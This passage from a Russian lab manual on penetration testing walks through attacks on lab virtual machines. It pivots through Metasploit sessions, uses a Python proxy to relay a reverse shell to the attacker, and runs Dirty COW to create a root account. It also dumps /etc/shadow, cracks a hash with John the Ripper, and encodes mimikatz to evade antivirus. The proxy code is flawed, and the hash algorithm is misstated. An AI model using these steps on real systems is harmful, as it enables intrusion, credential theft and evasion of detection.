Добавил:
Developer Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методичка для лабораторных

.pdf
Скачиваний:
6
Добавлен:
24.12.2023
Размер:
1.94 Mб
Скачать

USERPASS_FILE => /home/kali/Desktop/Ubuntu_passwords.txt msf6 auxiliary(scanner/ssh/ssh_login)>run

После завершения вторжения на виртуальной машине Ubuntu должна быть запущена оболочка. Выполните следующую команду, чтобы просмотреть список всех своих сеансов:

Рис. 17 – Список всех сеансов

Сеанс 2 соответствует оболочке Linux, работающей на машине Ubuntu. Данные в столбце Connection (Соединение) говорят о том, что маршрут соединения с оболочкой проходит от 192.168.1.115 (Kali Linux) к 192.168.1.112 (Metasploitable), а затем к

10.0.0.15 (Ubuntu). Чтобы выполнить команды на виртуальной машине Ubuntu, выполните следующую команду для выбора сеанса 2. Затем попробуйте запустить команду терминала, например, ls:

msf6 > sessions 2

[*] Starting interaction with 2... ls Desktop

Documents

Downloads

Теперь вы можете управлять виртуальной машиной Ubuntu в частной локальной сети с помощью компьютера, находящегося за ее пределами. В этом примере мы использовали прокси Metasploit.

2.7 Создание собственного прокси-сервера

Создайте папку с именем ProxyFun и скопируйте следующий код в новый файл proxy.py в этой папке:

from SocketServer import BaseRequestHandler, TCPServer from socket import socket, AF_INET, SOCK_STREAM import sys

class SockHandler(BaseRequestHandler):

def handle(self):

self.data = self.request.recv(1024)

print "Passing data from: " + str(self.client_address[0]) + "; to " + external_LAN_IP print self.data

sock = socket(AF_INET, SOCK_STREAM)

try:

sock.connect((external_LAN_IP, external_LAN_PORT)) sock.sendall(self.data)

while 1:

command = sock.recv(1024) if not command:

break self.request.sendall(command)

finally:

sock.close()

if __name__ == '__main__': private_LAN_IP = sys.argv[1], private_LAN_PORT = int(sys.argv[2]), external_LAN_IP = sys.argv[3], external_LAN_PORT = int(sys.argv[4])

myserver = TCPServer((private_LAN_IP, private_LAN_PORT), SockHandler) myserver.serve_forever()

Этот прокси запускает TCP-сервер для прослушивания IP-адреса частной локальной сети. Помните о том, что наша цель, то есть виртуальная машина Ubuntu, может получить доступ только к IP-адресам в частной сети. Поэтому если мы хотим установить с ней соединение, то должны настроить TCP-сервер для прослушивания IP-адреса, связанного с интерфейсом, подключенным к этой частной сети. Предположим, что мы уже имплантировали обратную оболочку на виртуальную машину Ubuntu, поэтому можем понаблюдать за потоком данных от обратной оболочки в частной локальной сети через прокси-сервер в систему Kali Linux злоумышленника, находящуюся в нашей смоделированной общедоступной сети.

Сначала обратная оболочка подключится к IP-адресу прокси в частной локальной сети. Когда оболочка подключится к прокси-серверу и отправит свое первое сообщение, прокси извлечет данные из этого сообщения и откроет новое TCPсоединение с сервером злоумышленника во внешней локальной сети. Прокси-сервер будет отправлять данные из оболочки в частной локальной сети во внешнюю локальную сеть, играя роль моста. Кроме того, прокси-сервер будет прослушивать трафик, поступающий из внешней локальной сети, который он будет отправлять оболочке в частной локальной сети. Теперь у нас есть двухсторонний мост между частной и внешней локальной сетями.

Теперь протестируем наш прокси. Мы используем инструмент netcat (nc), чтобы запустить новый TCP-сервер, который прослушивает (l) порт (p) 5050. А также установим флаг (v) для вывода подробной информации о соединении:

kali@kali:~$ nc -lvp 5050

Затем скопируем файл proxy.py на сервер Metasploitable и запустим его:

kali@kali:~$ scp -oHostKeyAlgorithms=+ssh-rsa proxy.py msfadmin@192.168.1.101:/home/msfadmin

msfadmin@metasploitable:~$ python proxy.py 10.0.0.1 4040 <IP-адрес Kali> 5050

Теперь, когда прокси-сервер запущен, откройте виртуальную машину Ubuntu, находящуюся в частной сети, и используем netcat для подключения к прокси.

victim@ubuntu:~$ nc 10.0.0.1 4040

Введите фразу BOT Reporting For Duty в терминале Ubuntu с запущенным инструментом netcat. Если прокси работает правильно, то направит трафик из частной локальной сети в терминал машины Kali Linux.

Контрольные вопросы

1.Что такое устройство с двойной привязкой?Что в этой работе было устройством с двойной привязкой?

2.Расскажите об уязвимости “перебор-по-словарю”?

3.Как можно устранить уязвимость, эксплуатируемую в данной работе?

4.Что такое прокси-сервер? Для реализации каких уязвимостей его можно использовать?

5.Как мы задаем IP-адрес удаленного хоста?

Лабораторная работа № 3 Техника повышения привилегий

Цель работы - узнать, где хранятся пароли, а также научиться извлекать хеши паролей из памяти машины Linux.

3.1Постановка задачи

Извлечение хешей паролей из памяти машины Linux;

Уязвимость Dirty COW;

John the Ripper.

3.2Где система Linux хранит имена пользователей и пароли

Получив доступ к компьютеру, злоумышленник может попытаться извлечь из его памяти учетные данные пользователей, которые можно использовать для входа в систему других машин и перемещения по сети. В этом работе мы рассмотрим способ

извлечения логинов и хешей паролей из памяти машины с ОС Linux с помощью техники повышения привилегий.

ОС Linux хранит имена пользователей в файле /etc/passwd, который может прочитать любой пользователь системы. Название этого файла вводит в заблуждение, поскольку он не содержит никаких паролей. Тем не менее мы можем извлечь из этого файла полезную информацию, например, о том, требуется ли пароль для получения доступа к той или иной учетной записи. Выполните следующую команду, чтобы просмотреть содержимое этого файла:

kali@kali:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

Двоеточия разделяют свойства записи, которая имеет следующий формат:

username:has_password:user_id:group_id:user_info:shell_path.

Второе свойство has\_password сообщает, есть ли у пользователя пароль. Символ x в этом свойстве говорит о том, что учетная запись данного пользователя защищена паролем, а пустое поле означает, что данная учетная запись является гостевой и пароль для получения к ней доступа не требуется.

Где же операционная система хранит пароли? Она ведь должна хранить копии паролей, чтобы сравнивать их со значением, которое вводит пользователь при входе в систему. Дело в том, что ОС Linux не хранит пароли в виде открытого текста. Вместо этого она хранит сгенерированные алгоритмом HMAC-SHA256 хеши паролей в файле /etc/shadow. Когда пользователь авторизуется в системе, ОС Linux хеширует его пароль, сравнивает результат с сохраненным ранее хешем и в случае их совпадения предоставляет пользователю доступ.

Злоумышленник может извлечь эти хеши паролей, прочитав файл /etc/shadow; однако для этого ему потребуются права суперпользователя (root), в чем вы можете убедиться, выполнив команду ls с параметром -l:

msfadmin@metasploitable:~$ ls -l /etc/shadow

-rw-r----- 1 root shadow 1233 2042-05-20 17:30 shadow

Метка -rw-r----- обозначает права доступа к файлу. Структура разрешений в ОС Linux представлена на рис. 18.

Рис. 18 – Разрешения Linux

Заданные для файла /etc/shadow/ разрешения указывают на то, что прочитать его могут лишь владелец (root) и группа (shadow), а осуществлять запись в него может только пользователь root.

Если бы злоумышленнику удалось раздобыть учетные данные суперпользователя, то он мог бы получить root-доступ к системе, введя команду sudo -i. Но предположим, что ему не повезло. В этом случае он все равно может получить root-доступ, используя уязвимость в операционной системе. Данный процесс обычно называется повышением привилегий.

Злоумышленник может использовать различные методы для получения прав root в системе. Например, он может использовать уязвимость типа «переполнение буфера», чтобы внедрить код в модуль ядра или драйвер. Затем модуль ядра выполнит код от имени суперпользователя, предоставив злоумышленнику обратную оболочку с правами root.

Кроме того, повысить привилегии также можно с помощью некорректно заданных разрешений для файла или каталога. Например, если процесс выполняет файл от имени суперпользователя, то злоумышленник может изменить этот файл, внедрив в него код, запускающий обратную оболочку.

Инструмент unix-privesc, предустановленный в Kali Linux, позволяет проверять систему на наличие уязвимостей, которые можно использовать для повышения привилегий: unix-privesc-check standard. Оболочка Meterpreter имеет аналогичные встроенные функции. Вы можете использовать команду getsystem для поиска и эксплуатации подобных уязвимостей. Затем получив права root, запустить модуль hashdump, чтобы извлечь хранящиеся в системе хеши. Теперь, когда мы разобрались с сутью техники повышения привилегий, рассмотрим конкретный пример.

3.3Уязвимость Dirty COW и техника на повышение привилегий

В2016 году Фил Остер обнаружил уязвимость ядра, получившую название Dirty COW. Данная уязвимость (CVE-2016-5195) позволяет злоумышленнику, не имеющему прав root, редактировать любой файл, эксплуатируя ошибку, связанную с тем, как ядро

Linux управляет памятью. В частности, с помощью этой уязвимости злоумышленник может создать нового суперпользователя, редактируя файл /etc/shadow, который мы обсуждали ранее.

Название этой уязвимости связано с механизмом, который ядро Linux использует для управления виртуальной памятью. Это механизм, который операционные системы используют для выделения процессам изолированных участков памяти. Для этого создается таблица, сопоставляющая виртуальный адрес процесса с физическим. Поскольку разные процессы могут использовать одни и те же библиотеки или файлы, два процесса могут иметь виртуальные адреса, соответствующие одному и тому же физическому адресу. Виртуальная память создает копию ресурса только тогда, когда один из процессов осуществляет запись в эти ресурсы. Этот механизм называется копированием при записи (copy-on-write, COW).

Уязвимость Dirty COW заставляет операционную систему позволить пользователю редактировать файл, которым он не владеет. Это достигается за счет эксплуатации так называемого состояния гонки в ядре Linux. Состояние гонки возникает в тех случаях, когда два или более потока пытаются получить доступ к переменной, а работа программы зависит от порядка завершения этих потоков. Злоумышленники могут воспользоваться этим состоянием, выполняя множество чувствительных к такому порядку операций вплоть до достижения нужного результата.

Уязвимость Dirty COW вызвана состоянием гонки, обусловленным тем, как ядро Linux читает и записывает файлы. Ядро Linux запрещает процессам осуществлять запись в файлы, доступные только для чтения, но позволяет процессу записывать данные в копию такого файла. Когда процесс осуществляет запись в собственную копию, ядро Linux обычно выполняет следующие действия:

1)открывает копию файла, связанную с конкретным процессом;

2)осуществляет в нее запись;

3)отменяет изменения и возвращает в исходный файл, оставляя его неизмененным. Однако если злоумышленник использует два потока для независимой записи и

отмены изменений, то может возникнуть состояние гонки, заставляющее ядро выполнить вышеперечисленные действия в другом порядке:

1)открыть копию файла, связанную с конкретным процессом;

3)отменить изменения и вернуть в исходный файл;

2)осуществить запись в копию, которая теперь является исходным файлом.

Вэтом сценарии злоумышленник обманом заставляет ядро разрешить запись в файл, доступный только для чтения.

Злоумышленник может использовать эту уязвимость для редактирования файла паролей, доступного только для чтения, и добавления нового пользователя, обладающего правами root. Выполним эту технику на повышение привилегий на сервере Metasploitable. Начнем с выявления уязвимости сервера. Войдите в систему, а затем выполните команду whoami, чтобы получить имя текущего пользователя, а также команду uname -a для выяснения текущей версии Linux:

msfadmin@metasploitable:~$ whoami

msfadmin msfadmin@metasploitable:~$ uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Выяснив версию ОС Linux, используемую сервером, примените инструмент searchsploit для поиска свойственных этой версии уязвимостей:

Рис. 19 – Поиска свойственных этой версии уязвимостей

Как видите, существует несколько реализаций Dirty COW. Одни используют эту уязвимость для изменения файла паролей, а другие — для внедрения кода оболочки в файл с установленным атрибутом SUID. SUID — это разрешение Linux, которое позволяет обычному пользователю запускать файл от имени его владельца. Например, установка SUID позволяет обычному пользователю выполнить команду ping от имени суперпользователя, даже если он им не является.

Некоторые эксплойты более надежны по сравнению с другими. Эксплойт Dirty COW PTRACE стабильно функционирует в версии ОС Linux, работающей на сервере Metasploitable. Код этого эксплойта доступен на вашей виртуальной машине Kali Linux. Используя инструмент searchsploit, укажите номер эксплойта 40839.c и используйте параметр -p, чтобы выяснить путь к его коду:

kali@kali:~$ searchsploit -p 40839

Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)

URL: https://www.exploit-db.com/exploits/40839 Path: /usr/share/exploitdb/exploits/linux/local/40839.c

File Type: C source, ASCII text, with CRLF line terminators

Скопировав код на машину Metasploitable, скомпилируйте и выполните эксплойт:

kali@kali:~/$ scp /usr/share/exploitdb/exploits/linux/local/40839.c msfadmin@192.168.1.101:~/

msfadmin@metasploitable:~$ gcc -pthread 40839.c -o kernelexploit -lcrypt

Примечание: если не получается скопировать файл на машину Metasploitable, то попробуйте:

kali@kali:~$ scp -oHostKeyAlgorithms=+ssh-rsa 40839.c msfadmin@192.168.1.101:/home/msfadmin

Теперь запустите эксплойт (kernelexploit). Вам будет предложено создать нового пользователя root (firefart) и указать для него пароль. В данном случае выберем abc123:

msfadmin@metasploitable:~$ ./kernelexploit

Рис. 20 – Результат команды ./kernelexploit

Переключитесь на вновь созданного суперпользователя:

msfadmin@metasploitable:~$ su firefart Password:

Теперь вы можете прочитать файл /etc/shadow, содержащий хеши паролей:

Рис. 21 – Файл /etc/shadow

Запись должна содержать хеши паролей пользователей, сгенерированные алгоритмом HMAC-SHA256. В случае успеха это будет означать, что вы успешно повысили свои привилегии и извлекли пароли пользователей системы в виде хеша.

Если все выполнено правильно, то теперь вы знаете технику повышения привилегий и можете с помощью инструментов Kali расшифровывать хэши паролей.

3.4 John the Ripper

Уже было создано несколько полезных инструментов для расшифровки хешей, многие из которых предустановлены в Kali Linux. Например, развиваемый крупным сообществом проект John the Ripper способен расшифровывать хеши нескольких типов. Вы можете клонировать Git-репозиторий SecLists на рабочий стол Kali Linux, выполнив следующую команду:

kali@kali:~/Desktop$ git clone https://github.com/danielmiessler/SecLists

Воспользуемся программой John the Ripper, чтобы взломать следующий хеш, который необходимо сохранить в текстовый файл:

kali@kali:~/Desktop/HashCrack$ echo 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 > hashes.txt

Выполните следующую команду, чтобы запустить процесс взлома.

kali@kali:~/Desktop/HashCrack$ sudo john --format=raw-sha256 --wordlist="/home/ kali/Desktop/SecLists/Passwords/Leaked-Databases/000webhost.txt" hashes.txt

Using default input encoding: UTF-8

По завершении этого процесса вы можете выполнить следующую команду, чтобы просмотреть список взломанных паролей:

kali@kali:~/Desktop/HashCrack$ sudo john --format=raw-sha256 --show hashes.txt ?:abc123

1 password hash cracked, 0 left

Контрольные вопросы

1.Где и как хранятся пароли в ОС Linux?

2.Объясните как работает уязвимость "повышение привилегий"?

3.Почему считается безопасным хранить пароли в хешированном виде?

4.Каким требованиям должен удовлетворять безопасный пароль?

5.Как происходит авторизация пользователя в системе Linux?

Лабораторная работа № 4 Перемещение по корпоративной сети Windows

Цель работы - узнать, где хранятся пароли, а также научиться извлекать хеши паролей из памяти машины Windows.

4.1Постановка задачи

Создание виртуальной лаборатории Windows;

Извлечение хешей паролей с помощью mimikatz;

Передача хеша по протоколу NT LAN Manager.

4.2Создание виртуальной лаборатории Windows

Мы собираемся атаковать системы Windows, поэтому сначала нам нужно создать виртуальную лабораторию, содержащую машину под управлением этой ОС. Windows — проприетарная операционная система, однако компания Microsoft предоставляет бесплатные ознакомительные версии: www.microsoft.com/ru-ru/evalcenter/evaluate-windows-10-enterprise .

Скачав ISO-образ, создайте новую виртуальную машину в VirtualBox. Выделите для нее 32 Гбайт дискового пространства и 2 Гбайт ОЗУ. Затем завершите настройку, следуя инструкции, и не забудьте создать учетную запись пользователя с правами администратора.

4.3Извлечение хешей паролей с помощью mimikatz

ВОС Windows хеши извлекаются так же, как и в ОС Linux, за исключением того, что вместо извлечения хешей из файла /etc/shadow мы извлекаем их путем создания дампа памяти процесса LSASS (Local Security Authority Subsystem Service,

сервис проверки подлинности локальной системы безопасности). Процесс LSASS содержит хеши паролей и токены безопасности (security token), а также управляет процессом аутентификации и взаимодействия с контроллером домена. Как и в случае с Linux, для этого вам потребуются права администратора.

Чтобы создать дамп памяти для извлечения из него учетных данных, мы воспользуемся программой mimikatz, которая содержит набор инструментов, помогающих извлекать хеши из памяти процесса LSASS. Вы можете создать дамп памяти процесса вручную, открыв диспетчер задач (Ctrl+Alt+Delete), щелкнув на нужном процессе правой кнопкой мыши и выбрав пункт контекстного меню Create dump file (Создать файл дампа памяти). Программа mimikatz автоматизирует этот процесс.

ВKali Linux вы можете скачать предварительно скомпилированный исполняемый файл, пройдя по ссылке https://github.com/gentilkiwi/mimikatz/releases/ .

Однако в силу огромной популярности этого инструмента многие антивирусные системы без труда его обнаруживают, а алгоритм обнаружения сигнатур Windows удаляет его сразу в момент выявления. Таким образом, можно выполнить обфускацию строк и двоичного файла. Используйте команду msfencode Metasploit для кодирования исполняемого файла с помощью кодировщика SGN. Вы можете закодировать исполняемый файл mimikatz в Kali Linux, выполнив команду:

kali@kali:~/Downloads$ msfencode -t exe -x mimikatz.exe -k -o mimikatz_encoded.exe -e x86/shikata_ga_nai -c 3

Примечание: если не работает команда msfencode используйте команду msfvenom.